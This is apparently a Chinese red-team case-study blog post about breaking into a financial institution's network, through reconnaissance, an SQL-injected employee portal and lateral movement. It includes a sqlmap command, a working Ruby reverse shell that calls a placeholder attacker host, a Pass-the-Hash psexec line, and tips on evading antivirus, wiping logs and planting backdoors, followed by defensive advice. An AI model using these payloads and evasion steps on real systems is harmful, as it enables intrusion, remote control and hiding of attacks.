0x01 一个真实案例的剖析

在某次红队演练中,我们的目标是一家大型金融机构。通常这类单位有着强大的防护措施,但我们发现其员工门户网站存在一个关键的SQL注入漏洞。通过这个漏洞,我们不仅能够获取到用户信息,还能利用获取的凭证在内网进行进一步的渗透。这一次,我们将深入剖析如何从外部渗透一步步进入目标网络深处。

战术布局与信息收集

黑客示意图

针对大型企业,信息收集总是复杂而又至关重要。我们通过公开资源收集此金融机构的员工电子邮件格式、域名、子域、公开IP地址等。这些信息为我们后续的鱼叉式钓鱼攻击和网络扫描提供了基础。

信息收集的一般步骤:

  1. 开放资源信息收集:利用搜索引擎、社会工程学、公司网站等渠道,获取基础信息。
  2. 子域和端口扫描:使用工具如Sublist3r、Nmap等,识别目标域名下的所有子域和开放端口。
  3. 网络拓扑和服务:识别内部使用的技术栈,有助于后续漏洞利用。

攻击板块:SQL注入漏洞

在信息收集阶段,我们发现员工门户存在SQL注入的潜在风险。通过分析其登录页面的POST请求,发现其参数没有经过严格过滤,这为我们提供了攻击入口。

攻击步骤:

<pre><code class="language-shell"># 使用sqlmap自动化检测和利用该SQL注入漏洞 sqlmap -u &quot;http://target.com/portal/login&quot; --data=&quot;username=user&amp;password=pass&quot; --batch --dbs</code></pre>

以上命令通过sqlmap检测并列出了数据库名。在此基础上,我们进一步获取敏感数据。

Payload构造的艺术

为了扩大影响,我们设计了一款定制Payload,用于在提权和横向移动中。为了免杀和避开WAF拦截,我们使用了多种混淆技术。

Ruby实现的Payload

<pre><code class="language-ruby"># 这是一个简单的反向shell payload require &#039;socket&#039;

def reverse_shell host = &quot;attacker_ip&quot; port = 4444 begin socket = TCPSocket.new(host, port) while command = socket.gets IO.popen(command, &quot;r&quot;) do |output| socket.print output.read end end rescue sleep 5 retry end end

reverse_shell</code></pre>

混淆与免杀方法:

  1. 动态编码:使用Base64或其他加密技术对Payload进行编码。
  2. 进程注入:将Payload注入到合法进程中,规避杀毒软件检测。
  3. 流量伪装:通过加密流量、规避协议检测。

横向移动与权限提升

在成功获取初始访问后,我们需要进一步扩展到内网的其他系统。通常,目标内网中会有运行Windows系统的服务器和大量的共享文件夹,这些都是我们攻击的突破点。

使用Pass-the-Hash进行横向移动

在获取某个高权限用户的NTLM哈希后,我们可以使用Pass-the-Hash技术进行横向移动。

<pre><code class="language-shell"># 使用Impacket工具包中的psexec.py工具进行横向移动 impacket-psexec -hashes &lt;LMHASH&gt;:&lt;NTHASH&gt; administrator@target-ip</code></pre>

成功登录后,我们可以继续在内网搜集其他凭证,扩大我们的访问范围。

伪装与痕迹清除

确保攻击的隐蔽性和持久性是红队演练成功的关键。在内网渗透过程中,我们需要隐藏我们的行为,避免被检测和阻止。

痕迹清除技术:

黑客示意图

  1. 日志擦除:在目标系统上清理攻击相关的日志信息。
  2. 后门植入:使用无文件后门,保持长期访问通道。
  3. 流量加密:使用SSL/TLS或自定义加密协议,防止流量被检测和分析。

检测与防御建议

每次攻击都是对目标防御能力的测试。对于甲方安全团队来说,提升安全性是最终目标。

防御措施:

  1. 完善的日志分析:及时识别异常行为。
  2. 多因子认证:增加访问难度。
  3. 加强SQL注入检测:使用参数化查询和WAF来保护敏感接口。

实战心得与注意事项

在渗透测试中,了解并利用目标系统的弱点至关重要。然而,红队演练不仅仅是一场攻防游戏,它更是对企业安全体系的全面测试。因此,在攻击过程中,我们应始终保持高度的专业性和道德标准,确保所有活动在授权范围内进行。

黑客示意图

经验总结:

  • 信息收集是关键:了解目标环境,选择适合的攻击路径。
  • 工具选择与定制:根据目标环境灵活使用、修改工具。
  • 安全意识培训:提升员工安全意识,减少人为因素造成的风险。

每一次成功的渗透都是对自身技术和策略的验证,同时也是一次学习和成长的机会。希望通过这篇文章,能为更多的安全从业者提供借鉴和启发。